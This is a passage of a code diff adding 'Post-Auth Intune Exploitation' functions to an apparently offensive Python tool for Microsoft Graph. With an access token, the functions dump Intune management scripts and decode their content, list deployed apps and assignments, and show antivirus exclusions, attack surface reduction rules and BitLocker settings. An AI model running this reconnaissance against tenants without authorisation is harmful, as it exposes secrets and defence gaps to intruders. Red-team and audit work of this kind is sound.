'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + else: + print_red("assignmentTarget: No assignments") + else: + print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") + print("\n") + print("=" * 80) + +# get-devicegrouppolicydefinition +# - remove +def get_devicegrouppolicydefinition(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command") + return + + print_yellow("[*] Get-DeviceGroupPolicyDefinition") + print("=" * 80) + api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-roledefinitions +def get_roledefinitions(args): + print_yellow("[*] Get-RoleDefinitions") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-roleassignments +def get_roleassignments(args): + print_yellow("[*] Get-RoleAssignments") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecompliancepolicies +def get_devicecompliancepolicies(args): + print_yellow("[*] Get-DeviceCompliancePolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=scheduledActionsForRule($expand=scheduledActionConfigurations)" + if args.select: + api_url += "&$select=" + args.select + + try: + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Accept": "application/json", + "User-Agent": user_agent + } + + response = requests.get(api_url, headers=headers) + response.raise_for_status() + policies = response.json() + + if policies and 'value' in policies: + for policy in policies['value']: + for key, value in policy.items(): + if key not in ['assignments', 'scheduledActionsForRule']: + print(f"{key} : {value}") + + # Display assignments for each policy + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies('{policy_id}')/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + assignments_response.raise_for_status() + assignments = assignments_response.json() + + if not assignments.get('value'): + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f"- {odata_type}: {target}") + + # Display scheduled actions for rule + scheduled_actions = policy.get('scheduledActionsForRule', []) + if not scheduled_actions: + print_red("scheduledActionsForRule: None") + else: + print_green("scheduledActionsForRule:") + for action in scheduled_actions: + #print(f"- Config ID: {action.get('id')}") + for config in action.get('scheduledActionConfigurations', []): + print(f" - Action Type: {config.get('actionType')}") + print(f" - Grace Period Hours: {config.get('gracePeriodHours')}") + print(f" - Notification Template Type: {config.get('notificationTemplateType')}") + + print("\n") + else: + print_red("[-] No data found") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + +# get-deviceconfigurationpolicies +def get_deviceconfigurationpolicies(args): + print_yellow("[*] Get-DeviceConfigurationPolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + policies = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + policies = None + print("=" * 80) + + if policies and 'value' in policies: + for policy in policies['value']: + for key, value in policy.items(): + print(f"{key} : {value}") + + if 'templateReference' in policy and 'templateDisplayName' in policy['templateReference']: + print(f"template: {policy['templateReference']['templateDisplayName']}") + + # display assignments for each policy + policy_id = policy.get('id') + if policy_id: + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments" + assignments_response = requests.get(assignments_api_url, headers=headers) + + if assignments_response.status_code == 200: + assignments = assignments_response.json() + if not assignments.get('value'): + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in assignments.get('value', []): + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print("- Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print("- Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f"- Assigned to Group ID: {group_id}") + else: + print(f"- {odata_type}: {target}") + else: + print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") + print("\n") + print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/intune_exploit.py b/graphpython/commands/intune_exploit.py new file mode 100644 index 0000000..a345809 --- /dev/null +++ b/graphpython/commands/intune_exploit.py @@ -0,0 +1,2047 @@ +import requests +import json +import sys +import base64 +from tabulate import tabulate +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from graphpython.utils.helpers import read_file_content, graph_api_get + +################################# +# Post-Auth Intune Exploitation # +################################# + +# dump-devicemanagementscripts +def dump_devicemanagementscripts(args): + print_yellow("[*] Dump-DeviceManagementScripts") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-windowsapps +def dump_windowsapps(args): + print_yellow("[*] Dump-WindowsApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-iosapps +def dump_iosapps(args): + print_yellow("[*] Dump-iOSApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-macosapps +def dump_macosapps(args): + print_yellow("[*] Dump-macOSApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# dump-androidapps +def dump_androidapps(args): + print_yellow("[*] Dump-AndroidApps") + print("=" * 80) + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" + + if args.select: + api_url += "$select=" + args.select # some fields will 400 whole req + if args.id: + api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + json_data.pop('assignments@odata.context', None) + for key, value in json_data.items(): + if key == 'assignments': + if not value: + print_red("assignments: None") + else: + print_green("assignments:") + for assignment in value: + print(f" - ID: {assignment['id']}") + print(f" Intent: {assignment['intent']}") + if 'target' in assignment: + target = assignment['target'] + odata_type = target.get('@odata.type', '').split('.')[-1] + print(f" Target:") + if odata_type == 'exclusionGroupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Excluded Group ID: {group_id}") + elif odata_type == 'allLicensedUsersAssignmentTarget': + print(" Assigned to all users") + elif odata_type == 'allDevicesAssignmentTarget': + print(" Assigned to all devices") + elif odata_type == 'groupAssignmentTarget': + group_id = target.get('groupId', 'N/A') + print(f" Assigned to Group ID: {group_id}") + else: + print(f" {odata_type}: {target}") + print() + else: + print(f"{key}: {value}") + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + print("=" * 80) + return + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-scriptcontent +def get_scriptcontent(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ScriptContent command") + return + + print_yellow("[*] Get-ScriptContent") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" + + if args.select: + api_url += "&$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + json_data = response.json() + json_data.pop('@odata.context', None) + + script_content = json_data.get('scriptContent') + if script_content: + decoded_script_content = base64.b64decode(script_content).decode('utf-8') + json_data['scriptContent'] = decoded_script_content + json_data.pop('scriptContent', None) + for key, value in json_data.items(): + print(f"{key} : {value}") + if script_content: + print("scriptContent :\n") + print(decoded_script_content) + except requests.exceptions.RequestException as ex: + print(f"[-] HTTP Error: {ex}") + print("=" * 80) + +# display-avpolicyrules +def display_avpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-AVPolicyRules command") + return + + print_yellow("[*] Display-AVPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": { + "description": "Remediation action for High severity threats", + "values": { + "4=1": "Clean (service tries to recover files and try to disinfect)", + "4=2": "Quarantine (moves files to quarantine)", + "4=3": "Remove (removes files from system)", + "4=6": "Allow (allows file/does none of the above actions)", + "4=8": "User defined (requires user to make a decision on which action to take)", + "4=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": { + "description": "Remediation action for Low severity threats", + "values": { + "1=1": "Clean (service tries to recover files and try to disinfect)", + "1=2": "Quarantine (moves files to quarantine)", + "1=3": "Remove (removes files from system)", + "1=6": "Allow (allows file/does none of the above actions)", + "1=8": "User defined (requires user to make a decision on which action to take)", + "1=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": { + "description": "Remediation action for Moderate severity threats", + "values": { + "2=1": "Clean (service tries to recover files and try to disinfect)", + "2=2": "Quarantine (moves files to quarantine)", + "2=3": "Remove (removes files from system)", + "2=6": "Allow (allows file/does none of the above actions)", + "2=8": "User defined (requires user to make a decision on which action to take)", + "2=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": { + "description": "Remediation action for Severe threats", + "values": { + "5=1": "Clean (service tries to recover files and try to disinfect)", + "5=2": "Quarantine (moves files to quarantine)", + "5=3": "Remove (removes files from system)", + "5=6": "Allow (allows file/does none of the above actions)", + "5=8": "User defined (requires user to make a decision on which action to take)", + "5=10": "Block (blocks file execution)" + } + }, + "device_vendor_msft_policy_config_defender_allowarchivescanning": { + "description": "Allow archive scanning", + "values": { + "0": "Not allowed (turns off scanning on archived files)", + "1": "Allowed (scans the archive files)" + } + }, + "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": { + "description": "Allow behavior monitoring", + "values": { + "0": "Not allowed (turns off behavior monitoring)", + "1": "Allowed (turns on real-time behavior monitoring)" + } + }, + "device_vendor_msft_policy_config_defender_allowcloudprotection": { + "description": "Allow cloud protection", + "values": { + "0": "Not allowed (turns off Cloud Protection)", + "1": "Allowed (turns on Cloud Protection" + } + }, + "device_vendor_msft_policy_config_defender_allowemailscanning": { + "description": "Allow email scanning", + "values": { + "0": "Not allowed (turns off email scanning)", + "1": "Allowed (turns on email scanning)" + } + }, + "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": { + "description": "Allow full scan on mapped network drives", + "values": { + "0": "Not allowed (disables scanning on mapped network drives)", + "1": "Allowed (scans mapped network drives)" + } + }, + "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": { + "description": "Allow full scan on removable drives", + "values": { + "0": "Not allowed (turns off scanning on removable drives)", + "1": "Allowed (scans removable drives)" + } + }, + "device_vendor_msft_policy_config_defender_allowintrusionpreventionsystem": { + "description": "Allow intrusion prevention system", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowioavprotection": { + "description": "Allow IOAV protection", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowrealtimemonitoring": { + "description": "Allow real-time monitoring", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowscanningnetworkfiles": { + "description": "Allow scanning network files", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowscriptscanning": { + "description": "Allow script scanning", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_allowuseruiaccess": { + "description": "Allow user UI access", + "values": { + "0": "Not allowed", + "1": "Allowed" + } + }, + "device_vendor_msft_policy_config_defender_checkforsignaturesbeforerunningscan": { + "description": "Check for signatures before running scan", + "values": { + "0": "Not required", + "1": "Required" + } + }, + "device_vendor_msft_policy_config_defender_cloudblocklevel": { + "description": "Cloud block level", + "values": { + "0": "Disabled", + "1": "Basic", + "2": "High" + } + }, + "device_vendor_msft_policy_config_defender_disablecatchupfullscan": { + "description": "Disable catch-up full scan", + "values": { + "0": "Enabled", + "1": "Disabled" + } + }, + "device_vendor_msft_policy_config_defender_disablecatchupquickscan": { + "description": "Disable catch-up quick scan", + "values": { + "0": "Enabled", + "1": "Disabled" + } + }, + "device_vendor_msft_policy_config_defender_enablelowcpupriority": { + "description": "Enable low CPU priority", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_enablenetworkprotection": { + "description": "Enable network protection", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_excludedextensions": { + "description": "Excluded extensions", + "values": {} + }, + "device_vendor_msft_policy_config_defender_excludedpaths": { + "description": "Excluded paths", + "values": {} + }, + "device_vendor_msft_policy_config_defender_excludedprocesses": { + "description": "Excluded processes", + "values": {} + }, + "device_vendor_msft_policy_config_defender_puaprotection": { + "description": "PUA protection", + "values": { + "0": "Disabled", + "1": "Enabled" + } + }, + "device_vendor_msft_policy_config_defender_realtimescandirection": { + "description": "Real-time scan direction", + "values": { + "0": "Both directions", + "1": "Inbound only", + "2": "Outbound only" + } + }, + "device_vendor_msft_policy_config_defender_scanparameter": { + "description": "Scan parameter", + "values": { + "0": "Quick scan", + "1": "Full scan" + } + } + } + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting: + setting_instance = setting['settingInstance'] + setting_id = setting_instance.get('settingDefinitionId', '') + if setting_id in settings_map: + description = settings_map[setting_id]['description'] + + if setting_instance['@odata.type'] == '#microsoft.graph.deviceManagementConfigurationSimpleSettingCollectionInstance': + simple_setting_values = setting_instance.get('simpleSettingCollectionValue', []) + value_list = [simple_setting_value.get('value', '') for simple_setting_value in simple_setting_values if simple_setting_value.get('value')] + value = ', '.join(value_list) + print(f"{description} : {value}") + elif 'choiceSettingValue' in setting_instance: + value = setting_instance['choiceSettingValue'].get('value', '') + value_suffix = value[len(setting_id):].lstrip('_') + + if value_suffix in settings_map[setting_id]['values']: + mapped_value = settings_map[setting_id]['values'][value_suffix] + elif value_suffix == 'block': + mapped_value = 'BLOCK' + elif value_suffix == 'allow': + mapped_value = 'ALLOW' + else: + mapped_value = value_suffix.upper() + print(f"{mapped_value:<10} : {description}") + + # group setting collection values + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'groupSettingCollectionValue' in setting['settingInstance']: + group_settings = setting['settingInstance']['groupSettingCollectionValue'] + for group_setting in group_settings: + for child in group_setting.get('children', []): + choice_setting_value = child.get('choiceSettingValue', {}) + value = choice_setting_value.get('value', '') + setting_id = child.get('settingDefinitionId', '') + if setting_id in settings_map: + description = settings_map[setting_id]['description'] + value_suffix = value[len(setting_id):].lstrip('_') + + if value_suffix in settings_map[setting_id]['values']: + mapped_value = settings_map[setting_id]['values'][value_suffix] + elif value_suffix == 'block': + mapped_value = 'BLOCK' + elif value_suffix == 'allow': + mapped_value = 'ALLOW' + else: + mapped_value = value_suffix.upper() + print(f"{mapped_value:<10} : {description}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-asrpolicyrules +def display_asrpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-ASRPolicyRules command") + return + + print_yellow("[*] Display-ASRPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "blockadobereaderfromcreatingchildprocesses": "Block Adobe Reader from creating child processes", + "blockprocesscreationsfrompsexecandwmicommands": "Block process creations from PSExec and WMI commands", + "blockexecutionofpotentiallyobfuscatedscripts": "Block execution of potentially obfuscated scripts", + "blockpersistencethroughwmieventsubscription": "Block persistence through WMI event subscription", + "blockwin32apicallsfromofficemacros": "Block Win32 API calls from Office macros", + "blockofficeapplicationsfromcreatingexecutablecontent": "Block Office applications from creating executable content", + "blockcredentialstealingfromwindowslocalsecurityauthoritysubsystem": "Block credential stealing from Windows local security authority subsystem", + "blockexecutablefilesrunningunlesstheymeetprevalenceagetrustedlistcriterion": "Block executable files running unless they meet prevalence age trusted list criterion", + "blockjavascriptorvbscriptfromlaunchingdownloadedexecutablecontent": "Block JavaScript or VBScript from launching downloaded executable content", + "blockofficecommunicationappfromcreatingchildprocesses": "Block Office communication app from creating child processes", + "blockofficeapplicationsfrominjectingcodeintootherprocesses": "Block Office applications from injecting code into other processes", + "blockallofficeapplicationsfromcreatingchildprocesses": "Block all Office applications from creating child processes", + "blockwebshellcreationforservers": "Block web shell creation for servers", + "blockuntrustedunsignedprocessesthatrunfromusb": "Block untrusted unsigned processes that run from USB", + "useadvancedprotectionagainstransomware": "Use advanced protection against ransomware", + "blockexecutablecontentfromemailclientandwebmail": "Block executable content from email client and webmail", + "blockabuseofexploitedvulnerablesigneddrivers": "Block abuse of exploited vulnerable signed drivers" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + + if "value" in response_json: + for item in response_json["value"]: + setting_instance = item.get("settingInstance", {}) + group_settings = setting_instance.get("groupSettingCollectionValue", []) + + for group in group_settings: + children = group.get("children", []) + + for child in children: + choice_setting_value = child.get("choiceSettingValue", {}) + value = choice_setting_value.get("value", "") + + if value: + parts = value.split("_") + if len(parts) >= 2: + action = parts[-1].upper() + rule_name = "_".join(parts[:-1]) + rule_name = rule_name.replace("device_vendor_msft_policy_config_defender_attacksurfacereductionrules_", "") + readable_rule = settings_map.get(rule_name, rule_name) + print(f"{action:<6}: {readable_rule}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-diskencryptionpolicyrules +def display_diskencryptionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-DiskEncryptionPolicyRules command") + return + + print_yellow("[*] Display-DiskEncryptionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" #?$expand=settingDefinitions" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_bitlocker_fixeddrivesencryptiontype": "Enforce drive encryption type on fixed data drives", + "device_vendor_msft_bitlocker_fixeddrivesrecoveryoptions": "Choose how BitLocker-protected fixed drives can be recovered", + "device_vendor_msft_bitlocker_fixeddrivesrequireencryption": "Deny write access to fixed drives not protected by BitLocker", + "device_vendor_msft_bitlocker_systemdrivesencryptiontype": "Enforce drive encryption type on operating system drives", + "device_vendor_msft_bitlocker_systemdrivesrequirestartupauthentication": "Require additional authentication at startup", + "device_vendor_msft_bitlocker_systemdrivesminimumpinlength": "Configure minimum PIN length for startup", + "device_vendor_msft_bitlocker_systemdrivesenhancedpin": "Allow enhanced PINs for startup", + "device_vendor_msft_bitlocker_systemdrivesdisallowstandarduserscanchangepin": "Disallow standard users from changing the PIN or password", + "device_vendor_msft_bitlocker_systemdrivesenableprebootpinexceptionondecapabledevice": "Allow devices compliant with InstantGo or HSTI to opt out of pre-boot PIN", + "device_vendor_msft_bitlocker_systemdrivesenableprebootinputprotectorsonslates": "Enable use of BitLocker authentication requiring preboot keyboard input on slates", + "device_vendor_msft_bitlocker_systemdrivesrecoveryoptions": "Choose how BitLocker-protected operating system drives can be recovered", + "device_vendor_msft_bitlocker_systemdrivesrecoverymessage": "Configure pre-boot recovery message and URL", + 